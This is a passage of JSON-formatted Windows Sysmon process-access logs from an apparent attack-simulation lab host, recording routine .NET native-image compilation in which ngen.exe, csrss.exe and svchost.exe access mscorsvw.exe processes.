C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.385","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010B22D0C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010B22D0C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010B22D0C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-00100D810C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-00100D810C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010F7310C00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010F7310C00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010F7310C00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010F7310C00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.527\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B5-5F2D-0000-0010F9840C00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.527","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B5-5F2D-0000-0010F9840C00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001013F70A00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001013F70A00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:57.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429B-5F2D-0000-001013F70A00}\r\nTargetProcessId: 3784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:57.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429B-5F2D-0000-001013F70A00}","TargetProcessId":"3784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 